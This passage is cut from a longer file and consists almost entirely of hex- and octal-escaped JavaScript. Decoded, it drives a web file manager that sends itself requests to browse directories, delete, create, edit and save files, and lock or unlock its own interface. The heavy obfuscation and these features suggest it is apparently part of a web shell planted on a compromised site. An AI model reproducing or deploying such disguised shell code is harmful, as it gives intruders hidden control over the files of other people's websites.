x20\x20\40\40\x20\40\x20\x20\x7d\15\xa\40\x20\40\40\x20\40\x20\x20\175\15\12\x20\40\40\40\40\x20\x20\x20\x66\165\x6e\143\x74\x69\157\x6e\40\162\x65\x6d\50\160\51\173\xd\xa\40\x20\40\x20\x20\40\40\x20\40\40\40\40\154\x65\x74\x20\x72\145\163\x75\154\x74\40\75\40\x63\157\x6e\x66\x69\162\155\50\42\122\145\155\157\166\145\x3f\42\x29\73\15\xa\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\151\146\40\50\x72\x65\163\165\x6c\164\x29\x20\x7b\15\12\40\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\40\40\143\x75\163\x74\x6f\x6d\106\145\164\x63\150\x28\42\x22\x2c\40\x7b\15\xa\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\x20\40\x6d\x65\164\150\157\144\x3a\40\x22\120\117\123\124\x22\54\15\xa\40\40\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\150\145\141\144\145\162\163\x3a\x20\173\xd\xa\x20\40\40\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\42\x43\x6f\x6e\x74\145\156\164\x2d\124\x79\x70\x65\42\x3a\40\x22\x61\x70\x70\154\x69\x63\141\164\x69\157\156\x2f\170\55\167\x77\x77\x2d\146\157\162\155\x2d\165\x72\x6c\145\x6e\x63\x6f\x64\145\144\42\54\xd\12\40\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\40\x7d\x2c\15\xa\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\x20\142\x6f\144\171\x3a\40\42\162\145\155\157\x76\145\75\x22\x20\53\x20\145\156\143\x6f\144\145\125\x52\111\x43\157\155\x70\157\156\x65\156\x74\x28\x70\51\15\xa\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\40\40\175\51\15\12\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\56\164\150\x65\x6e\x28\162\145\163\x70\157\x6e\x73\x65\x20\x3d\x3e\40\162\x65\x73\160\x6f\x6e\x73\145\x2e\x6a\163\x6f\x6e\x28\x29\51\xd\12\40\40\40\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\x2e\164\x68\145\x6e\x28\x64\141\164\141\40\75\x3e\x20\x7b\15\xa\40\x20\40\40\x20\40\40\x20\x20\40\40\40\40\40\40\40\x20\40\40\x20\40\40\x20\x20\144\157\x63\165\x6d\x65\x6e\164\56\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\102\x79\x49\144\50\x22\x66\155\x22\x29\x2e\x69\x6e\156\145\162\x48\124\x4d\x4c\x20\x3d\40\x64\141\164\141\56\x6f\x75\x74\160\165\x74\x3b\xd\xa\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\165\160\x64\x61\164\x65\120\x61\x74\150\x28\144\141\x74\x61\56\144\x69\x72\x29\xd\12\40\40\40\40\x20\40\40\40\40\40\x20\x20\40\x20\40\40\40\40\40\x20\175\51\xd\xa\40\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x2e\143\141\164\143\x68\50\145\162\162\x6f\x72\40\75\76\40\x7b\15\xa\x20\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\40\40\x20\40\x20\40\x20\40\143\157\156\x73\x6f\x6c\145\56\x65\x72\162\x6f\x72\x28\x27\105\162\162\x6f\x72\x3a\x27\x2c\40\145\162\x72\x6f\x72\x29\73\xd\xa\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\175\x29\x3b\xd\12\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\175\15\xa\x20\x20\x20\x20\40\x20\40\x20\x7d\15\xa\40\40\40\x20\40\40\40\x20\x66\x75\156\143\x74\x69\157\156\x20\x66\x6d\124\x61\142\x6c\145\50\160\x29\40\173\15\xa\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x63\x75\163\x74\157\x6d\106\145\x74\x63\150\50\x22\42\x2c\40\x7b\15\12\x20\40\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\155\145\x74\x68\157\144\72\40\42\120\117\123\x54\42\54\15\12\x20\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\x20\x20\x68\x65\141\x64\x65\162\x73\x3a\40\173\15\12\x20\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\x20\42\x43\x6f\x6e\x74\x65\x6e\164\x2d\x54\171\x70\x65\x22\x3a\40\42\141\x70\160\x6c\x69\x63\x61\x74\x69\x6f\156\x2f\170\x2d\x77\167\x77\55\x66\x6f\162\x6d\x2d\165\162\154\145\x6e\143\x6f\144\x65\144\42\54\15\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x7d\54\xd\xa\x20\40\40\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x62\x6f\x64\171\72\40\42\146\155\x5f\160\x61\x74\x68\75\x22\40\53\x20\145\156\x63\x6f\144\145\x55\x52\x49\x43\x6f\155\160\157\156\x65\156\x74\50\160\51\xd\xa\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\175\x29\15\12\40\40\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\56\164\x68\145\x6e\50\x72\x65\x73\160\157\x6e\163\145\40\x3d\x3e\x20\x72\145\x73\160\x6f\156\163\x65\56\152\x73\157\156\x28\x29\x29\xd\xa\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\40\40\40\40\x2e\164\x68\x65\x6e\50\x64\x61\164\141\x20\x3d\76\40\x7b\xd\12\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\40\x64\157\143\165\155\145\156\164\56\x67\x65\164\105\154\x65\155\145\x6e\164\x42\171\111\144\50\42\146\155\x22\x29\56\151\x6e\156\145\162\110\x54\115\x4c\40\x3d\x20\144\141\x74\x61\x2e\157\165\x74\x70\x75\164\73\xd\xa\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x75\x70\x64\x61\x74\x65\120\x61\164\150\x28\x64\141\164\141\x2e\x64\x69\x72\51\xd\xa\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\x7d\51\xd\12\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\56\143\141\164\x63\150\x28\145\162\162\157\x72\40\x3d\76\40\x7b\15\12\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x63\157\x6e\x73\x6f\154\x65\x2e\x65\162\162\157\x72\x28\47\105\x72\162\157\x72\x3a\x27\x2c\x20\x65\162\162\157\162\51\73\15\xa\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\x20\40\40\x7d\51\73\xd\12\40\40\40\x20\x20\40\x20\40\x7d\15\12\40\x20\x20\x20\x20\x20\x20\x20\146\x75\156\143\164\151\157\x6e\40\x76\146\50\160\x29\173\xd\12\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\143\x75\163\x74\x6f\155\x46\145\x74\143\x68\50\42\42\54\x20\173\15\xa\x20\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\40\155\x65\164\x68\x6f\144\x3a\x20\x22\x50\117\x53\x54\x22\54\15\12\x20\40\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\x20\40\150\x65\141\144\x65\x72\x73\72\40\173\xd\12\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x20\42\x43\x6f\156\x74\x65\x6e\x74\55\124\x79\x70\145\42\x3a\x20\42\141\x70\160\154\x69\x63\141\164\x69\157\156\57\170\55\x77\167\x77\x2d\146\x6f\162\x6d\x2d\x75\x72\154\145\x6e\x63\x6f\x64\x65\x64\42\x2c\15\12\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\x20\x20\x7d\54\15\xa\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\40\40\40\x20\x62\157\144\171\72\40\42\145\144\x69\164\137\x66\x69\154\x65\x3d\42\40\x2b\x20\x65\156\143\x6f\144\145\x55\122\x49\x43\x6f\155\x70\157\156\145\156\164\50\x70\51\xd\12\x20\40\40\40\40\x20\40\40\x20\40\40\40\x7d\51\15\12\x20\x20\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x2e\164\150\x65\x6e\x28\162\x65\x73\160\157\x6e\x73\x65\x20\x3d\x3e\x20\x72\145\x73\160\x6f\x6e\163\x65\56\x74\x65\170\x74\x28\x29\x29\xd\12\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\56\164\150\x65\156\x28\144\x61\x74\x61\x20\75\x3e\40\x7b\xd\12\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x64\x6f\x63\165\x6d\x65\156\x74\x2e\147\145\164\x45\154\x65\x6d\145\x6e\x74\x42\x79\x49\x64\50\x22\64\x6d\157\144\141\x6c\42\51\x2e\151\x6e\x6e\x65\162\x48\x54\x4d\114\40\75\40\144\141\x74\141\73\xd\xa\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\40\x20\175\51\15\xa\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\40\40\x20\40\x2e\x63\x61\164\143\x68\50\x65\162\162\x6f\162\x20\75\x3e\40\x7b\xd\xa\40\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\143\157\x6e\163\x6f\154\145\x2e\x65\162\162\x6f\x72\x28\47\x45\x72\x72\157\x72\x3a\47\54\x20\145\x72\162\157\162\51\73\xd\xa\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\175\51\x3b\xd\12\40\40\x20\x20\x20\40\40\40\175\15\12\40\x20\40\40\40\40\40\40\146\x75\x6e\x63\164\x69\157\156\40\165\x70\x64\141\x74\x65\120\x61\164\x68\x28\x6e\x65\167\x50\141\164\150\x29\40\173\15\12\40\x20\40\x20\40\x20\x20\40\40\40\x20\40\x6c\x65\164\x20\146\155\x44\x69\x72\40\75\x20\144\157\x63\165\x6d\145\156\164\x2e\147\145\164\x45\154\x65\155\145\156\x74\102\x79\111\x64\x28\x27\146\155\137\x64\151\162\x27\x29\73\15\12\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\x66\155\x44\151\x72\x2e\151\156\156\x65\162\110\x54\115\114\40\75\x20\47\x27\73\15\12\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\154\145\164\x20\x70\x61\x72\x74\163\x20\x3d\x20\156\x65\167\120\141\164\150\x2e\163\x70\x6c\151\164\50\47\x2f\47\51\15\xa\x20\40\x20\40\x20\40\x20\40\40\40\40\40\x70\141\162\164\163\x2e\x66\x6f\162\105\x61\x63\x68\x28\146\x75\x6e\143\164\x69\157\156\x28\x70\x61\x72\x74\54\x20\x69\x6e\144\145\x78\51\40\173\15\12\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\154\145\164\40\x6c\151\156\153\x45\154\145\155\x65\156\164\x20\x3d\40\144\x6f\x63\x75\x6d\x65\156\x74\x2e\x63\x72\x65\141\x74\x65\105\154\145\155\x65\156\164\50\47\x61\47\x29\x3b\xd\12\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x6c\x69\156\x6b\105\154\145\x6d\x65\156\x74\x2e\150\x72\x65\146\x20\75\40\x27\x23\47\x3b\15\12\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\154\x69\x6e\x6b\x45\x6c\145\x6d\145\156\x74\x2e\164\x65\x78\164\103\x6f\156\164\x65\x6e\x74\40\x3d\40\x70\141\x72\x74\x3b\xd\xa\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\154\151\x6e\x6b\x45\154\x65\x6d\145\156\x74\x2e\144\x61\164\x61\163\x65\x74\x2e\160\141\164\x68\40\75\40\160\141\x72\164\x73\x2e\x73\154\x69\x63\145\x28\x30\54\x20\x69\156\144\x65\x78\x20\x2b\x20\61\51\x2e\x6a\157\151\156\x28\x27\57\x27\x29\x3b\15\xa\40\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\154\x69\x6e\x6b\x45\x6c\x65\x6d\145\x6e\x74\x2e\x61\x64\x64\105\x76\145\x6e\164\x4c\x69\x73\x74\x65\156\x65\x72\50\x27\x63\x6c\151\x63\x6b\x27\54\x20\x66\165\x6e\143\164\x69\x6f\156\50\145\166\145\156\x74\x29\40\173\xd\12\x20\40\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\x65\x76\145\x6e\x74\x2e\160\x72\x65\166\x65\156\164\104\145\146\141\x75\154\x74\50\51\73\15\12\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x6c\x65\164\40\156\145\167\x50\x61\164\x68\x20\x3d\x20\164\150\x69\x73\x2e\x64\x61\164\x61\163\x65\164\56\160\x61\x74\150\73\15\12\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x66\x6d\124\x61\142\x6c\145\50\156\x65\167\x50\x61\x74\150\51\xd\12\x20\40\40\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\x20\x20\x75\x70\x64\x61\x74\145\x50\x61\x74\x68\x28\x6e\x65\x77\x50\x61\164\150\51\x3b\15\12\40\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\175\x29\73\15\12\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\146\x6d\x44\151\162\x2e\x61\160\x70\x65\x6e\x64\103\x68\x69\x6c\144\x28\154\151\x6e\153\105\154\145\x6d\x65\x6e\x74\51\73\xd\12\40\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\40\40\40\151\x66\x20\50\151\156\144\x65\170\x20\74\x20\160\141\x72\x74\x73\x2e\154\145\156\147\164\x68\x20\55\40\x31\51\40\173\xd\12\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x66\155\104\151\162\56\x61\160\x70\145\156\x64\103\x68\x69\x6c\144\x28\x64\157\143\165\155\145\x6e\164\x2e\143\162\145\x61\x74\x65\124\x65\170\x74\116\157\x64\x65\50\47\x2f\x27\x29\51\x3b\15\xa\40\40\40\x20\40\40\40\x20\40\x20\40\x20\x20\40\40\40\175\15\12\x20\x20\40\x20\40\40\40\40\40\x20\40\x20\175\51\73\15\xa\40\x20\x20\40\x20\x20\40\40\175\15\xa\x20\40\x20\40\40\x20\x20\40\x66\x75\x6e\143\x74\x69\157\156\40\143\x72\x66\x28\x29\173\xd\xa\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x6c\x65\x74\40\156\141\x6d\145\x20\75\x20\x70\162\x6f\155\160\164\x28\x22\106\x69\154\145\40\x6e\141\x6d\x65\x3a\x22\x29\x3b\xd\xa\x20\x20\40\40\40\40\x20\40\x20\40\x20\x20\151\146\40\50\156\141\x6d\145\40\41\75\75\x20\156\x75\154\154\40\x7c\174\40\x6e\141\x6d\x65\56\164\x72\151\x6d\50\x29\x20\x21\75\x3d\40\x22\x22\x29\x20\173\15\xa\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\143\165\163\164\x6f\155\x46\145\x74\143\150\50\42\42\x2c\40\173\xd\xa\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\155\x65\164\x68\157\144\72\x20\42\120\x4f\x53\x54\x22\x2c\15\xa\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\x20\x20\x68\145\x61\144\145\162\x73\x3a\x20\173\15\xa\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x22\x43\x6f\x6e\164\x65\x6e\164\55\124\171\160\145\42\72\x20\x22\x61\x70\x70\154\151\143\x61\x74\x69\157\x6e\57\170\x2d\x77\167\167\x2d\146\157\162\155\x2d\165\162\154\145\x6e\x63\157\x64\x65\144\x22\x2c\15\xa\40\x20\x20\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\175\54\15\12\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\142\x6f\x64\171\x3a\40\x22\143\x72\x65\x61\x74\145\x5f\146\x69\x6c\145\75\42\40\x2b\40\x65\156\143\157\x64\x65\125\x52\111\x43\x6f\155\160\157\156\x65\156\x74\50\156\141\155\x65\51\15\xa\40\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\40\40\40\175\51\15\12\40\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\56\164\x68\145\156\x28\162\145\x73\160\157\156\163\145\x20\x3d\x3e\40\162\x65\x73\160\157\x6e\x73\145\56\152\163\x6f\x6e\x28\x29\51\15\12\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\x2e\164\x68\x65\156\50\144\141\164\x61\40\75\76\x20\x7b\15\xa\40\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\144\x6f\x63\x75\155\x65\x6e\164\x2e\x67\145\x74\x45\154\145\x6d\x65\156\x74\102\x79\111\x64\50\x22\146\155\x22\x29\56\151\156\156\x65\162\110\124\x4d\114\x20\x3d\40\x64\141\164\x61\56\x6f\165\x74\x70\x75\164\x3b\xd\12\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x75\x70\144\141\x74\145\x50\141\164\150\50\x64\141\x74\x61\x2e\x64\x69\162\51\15\12\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x7d\51\xd\12\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\x20\x2e\x63\141\x74\143\x68\x28\145\162\162\157\x72\40\x3d\76\40\173\15\xa\x20\x20\40\40\40\40\x20\40\40\40\40\40\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\143\157\x6e\x73\157\x6c\145\56\145\x72\162\157\x72\x28\47\105\162\x72\157\162\x3a\47\x2c\40\x65\162\162\157\162\x29\x3b\15\xa\x20\40\40\40\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x7d\x29\73\xd\12\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\x7d\xd\12\40\x20\40\40\x20\40\40\40\x7d\xd\xa\x20\40\x20\x20\x20\40\x20\40\146\x75\x6e\x63\x74\x69\157\x6e\40\165\154\143\153\x28\51\40\173\xd\12\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x63\x75\x73\164\157\x6d\106\145\x74\x63\150\x28\42\42\x2c\40\173\xd\xa\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\40\x20\155\145\x74\x68\x6f\x64\72\x20\42\x50\x4f\x53\x54\x22\54\15\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x68\x65\141\144\145\x72\163\72\x20\173\15\12\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\40\40\x20\42\103\157\156\x74\x65\156\164\55\124\x79\x70\145\42\72\40\x22\x61\x70\160\x6c\x69\143\x61\x74\151\x6f\156\57\170\x2d\x77\x77\167\x2d\146\157\x72\x6d\55\165\x72\x6c\x65\156\143\x6f\144\x65\144\42\x2c\15\12\x20\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\40\175\54\xd\12\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\142\x6f\144\x79\x3a\40\x22\x75\156\154\157\143\x6b\x3d\x74\x72\x75\145\42\xd\xa\x20\40\40\40\40\40\40\x20\40\40\40\x20\175\x29\xd\xa\x20\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\56\164\150\x65\x6e\50\162\x65\x73\x70\157\156\x73\x65\40\75\x3e\40\162\x65\163\160\x6f\x6e\x73\x65\56\x74\145\170\164\x28\x29\51\xd\12\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x2e\164\150\145\x6e\50\x64\141\164\x61\x20\x3d\76\x20\x7b\15\12\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x64\x6f\x63\165\155\x65\156\164\56\x67\145\x74\105\154\x65\x6d\x65\156\164\102\171\x49\x64\50\47\x6c\157\143\153\47\x29\x2e\x73\164\171\x6c\145\56\144\x69\x73\160\154\x61\171\x20\x3d\40\47\142\x6c\x6f\143\x6b\x27\x3b\15\12\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\40\40\40\40\40\40\40\144\x6f\x63\x75\x6d\145\x6e\164\56\x67\x65\164\x45\x6c\145\155\x65\156\164\x42\171\111\x64\50\x27\165\x6e\x6c\157\143\x6b\47\51\56\163\164\x79\x6c\145\x2e\x64\x69\x73\160\x6c\x61\171\x20\75\40\47\x6e\x6f\156\x65\x27\x3b\xd\xa\40\x20\40\x20\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x7d\x29\xd\xa\40\x20\x20\40\40\40\40\x20\40\40\40\x20\40\40\40\x20\x2e\143\x61\164\143\150\x28\145\x72\162\x6f\162\40\x3d\x3e\40\173\15\12\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\40\141\154\145\x72\x74\50\42\x45\x72\162\157\162\x22\x29\xd\xa\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\x7d\51\73\15\12\40\40\40\x20\x20\x20\40\40\x7d\15\xa\40\x20\40\40\x20\40\40\40\x66\x75\156\143\x74\x69\x6f\156\40\x6c\x63\x6b\50\51\x20\173\xd\xa\40\40\40\40\40\40\40\40\40\x20\40\x20\143\x75\x73\164\x6f\155\106\145\164\x63\x68\x28\x22\x22\x2c\x20\173\15\12\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x6d\x65\x74\x68\157\144\72\x20\x22\120\x4f\x53\124\42\x2c\xd\12\x20\x20\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\x68\145\141\x64\x65\x72\163\72\x20\173\15\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\x22\x43\157\x6e\x74\x65\156\164\x2d\124\x79\x70\145\42\x3a\40\42\x61\x70\x70\x6c\151\143\141\x74\x69\x6f\x6e\x2f\170\x2d\167\167\x77\55\146\x6f\x72\155\x2d\x75\162\x6c\145\x6e\x63\x6f\144\145\x64\x22\x2c\15\xa\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x7d\54\15\12\40\40\40\40\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\142\x6f\144\171\72\40\42\154\157\143\x6b\75\x74\162\x75\x65\42\xd\12\40\x20\x20\x20\40\x20\x20\40\x20\40\40\40\175\x29\15\12\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\56\x74\x68\x65\x6e\50\162\145\163\160\157\x6e\163\145\40\x3d\x3e\40\162\x65\x73\x70\157\x6e\x73\145\x2e\164\x65\170\164\50\x29\51\xd\xa\40\40\x20\x20\40\x20\x20\40\40\x20\40\40\40\x20\x20\40\56\164\150\145\x6e\x28\x64\x61\x74\x61\40\x3d\76\40\x7b\15\12\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x64\x6f\x63\165\x6d\145\156\164\x2e\147\x65\164\105\154\145\155\x65\x6e\x74\x42\171\111\x64\x28\x27\154\157\143\153\47\x29\x2e\x73\x74\x79\x6c\145\56\x64\x69\163\160\154\141\171\x20\75\x20\47\156\157\x6e\x65\47\x3b\xd\xa\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\40\x64\157\143\165\155\x65\156\x74\x2e\x67\145\x74\105\154\145\x6d\145\x6e\x74\102\171\111\144\50\47\x75\x6e\154\x6f\x63\153\47\x29\x2e\x73\x74\171\x6c\x65\x2e\144\x69\163\x70\154\141\x79\40\x3d\x20\x27\142\154\157\143\x6b\x27\73\xd\12\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x7d\51\15\12\40\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\40\x20\40\x2e\x63\x61\164\x63\x68\x28\145\x72\x72\157\162\40\75\76\40\173\xd\xa\x20\x20\x20\40\40\x20\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\x61\x6c\x65\162\164\x28\42\105\x72\x72\x6f\162\42\51\xd\12\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\40\40\x20\x7d\x29\73\xd\xa\x20\40\x20\40\x20\40\40\x20\x7d\15\xa\40\40\40\x20\40\40\x20\40\146\165\156\x63\164\x69\x6f\x6e\40\x73\166\146\50\x29\173\xd\xa\40\40\40\40\x20\x20\x20\40\40\x20\40\40\143\x75\x73\x74\x6f\155\106\145\164\143\x68\50\x22\x22\x2c\x20\x7b\xd\12\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x6d\145\x74\150\x6f\144\72\40\42\120\x4f\x53\124\42\54\15\12\40\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\150\x65\x61\x64\145\162\x73\x3a\x20\173\15\xa\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\42\x43\157\x6e\x74\145\156\x74\55\124\x79\x70\145\42\72\x20\42\141\160\160\x6c\151\x63\141\x74\x69\x6f\x6e\57\170\x2d\x77\167\167\55\146\x6f\x72\155\x2d\x75\x72\154\145\156\x63\x6f\144\x65\144\42\54\15\12\40\40\40\x20\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\x7d\x2c\xd\12\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x62\157\x64\171\72\x20\x22\163\141\166\x65\137\x66\151\154\x65\75\x22\40\53\x20\144\x6f\143\x75\x6d\x65\x6e\164\x2e\147\145\x74\105\154\x65\x6d\x65\156\x74\102\x79\x49\144\x28\x22\146\151\154\x65\156\x61\155\x65\x22\x29\56\166\141\154\x75\145\53\x22\x26\143\x6f\156\164\145\156\x74\x3d\42\53\x73\164\x72\151\x6e\x67\124\x6f\125\x6e\x69\x63\157\x64\145\50\144\157\x63\x75\x6d\x65\156\x74\56\x67\x65\x74\x45\x6c\x65\x6d\145\156\164\x42\171\111\144\x28\42\146\151\x6c\x65\143\x6f\x6e\164\145\x6e\x74\42\x29\56\166\x61\x6c\x75\145\51\xd\12\40\40\40\40\40\40\40\x20\x20\x20\x20\40\x7d\x29\15\12\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x2e\164\150\145\x6e\50\x72\145\x73\x70\x6f\156\163\145\40\75\x3e\40\x72\x65\163\x70\x6f\156\163\145\56\164\x65\x78\164\x28\51\51\xd\xa\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x2e\164\150\x65\x6e\50\144\x61\x74\141\40\x3d\x3e\x20\x7b\xd\xa\40\40\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\141\154\x65\x72\x74\50\x22\123\165\x63\143\145\163\163\x22\51\x3b\15\12\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\x64\x6f\x63\x75\x6d\145\x6e\x74\56\x67\x65\x74\x45\154\x65\155\x65\x6e\164\102\x79\x49\x64\50\x22\x34\x6d\x6f\144\141\154\42\51\x2e\x69\156\x6e\x65\162\110\124\115\x4c\x20\75\x20\144\x61\164\141\73\15\12\40\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\175\51\15\12\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\40\x2e\x63\x61\x74\143\x68\50\x65\162\x72\157\162\x20\75\x3e\40\x7b\15\12\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\x61\154\145\162\164\x28\42\105\162\x72\157\x72\42\x29\15\xa\40\40\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\40\x64\x6f\143\165\155\x65\x6e\164\x2e\147\145\164\105\x6c\145\155\145\x6e\164\x42\x79\111\x64\50\42\64\155\157\144\x61\154\42\51\56\x69\156\x6e\145\162\x48\x54\115\x4c\x20\x3d\40\x64\141\x74\141\x3b\15\xa\x20\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\40\40\40\175\51\x3b\xd\12\x20\x20\40\40\x20\x20\